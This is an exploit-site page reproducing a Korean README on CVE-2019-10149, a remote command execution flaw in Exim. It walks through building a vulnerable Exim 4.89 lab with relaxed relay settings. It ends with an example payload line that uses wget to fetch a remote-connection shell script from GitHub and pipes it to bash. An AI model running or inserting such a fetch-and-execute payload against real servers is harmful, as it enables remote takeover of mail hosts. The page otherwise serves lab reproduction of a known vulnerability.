Sploitus

Exploit for CVE-2019-10149

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN69 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYIM0810-CVE-2019-10149
# CVE-2019-10149 - Exim 4.87 < 4.91

μ·¨μ•½ν•œ λ²„μ „μ˜ Exim μ„€μΉ˜ 및 μ΅μŠ€ν”Œλ‘œμž‡ 방법 Linux Ubuntu 16.04, Exim 4.89μ—μ„œ ν…ŒμŠ€νŠΈλ¨

## Exim μ„€μΉ˜

Exim 4.89 λ‹€μš΄λ‘œλ“œ 및 μ••μΆ• ν•΄μ œ

  * wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz



μ••μΆ• ν•΄μ œλœ ν΄λ”λ‘œ 이동

  * cd exim-4.89/



ν•„μš”ν•œ μ„€μ • 파일 볡사 및 μˆ˜μ •

  * sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

  * cp exim_monitor/EDITME Local/eximon.conf




exim μ‚¬μš©μž 및 κ·Έλ£Ή 생성

  * sudo groupadd -g 31 exim

  * sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim




μ˜μ‘΄μ„± μ„€μΉ˜

  * sudo apt-get update
  * sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev



Exim 4.89 μ„€μΉ˜

  * sudo make install



/usr/exim/configure νŽΈμ§‘: 7일을 기닀리지 μ•Šκ³  μ΅μŠ€ν”Œλ‘œμž‡ν•  수 μžˆλ„λ‘ 릴레이 ν—ˆμš©

  * sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
  * sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
  * sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure



exim μ‚¬μš©μžλ‘œ exim μ‹€ν–‰

  * sudo -H -u exim /usr/exim/bin/exim -bd -d-receive



## μ΅μŠ€ν”Œλ‘œμž‡ μ œμž‘

μ‰˜ λͺ…λ Ήμ–΄λ₯Ό 16μ§„μˆ˜λ‘œ λ³€ν™˜. 예:

  * /bin/sh -c β€œwget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash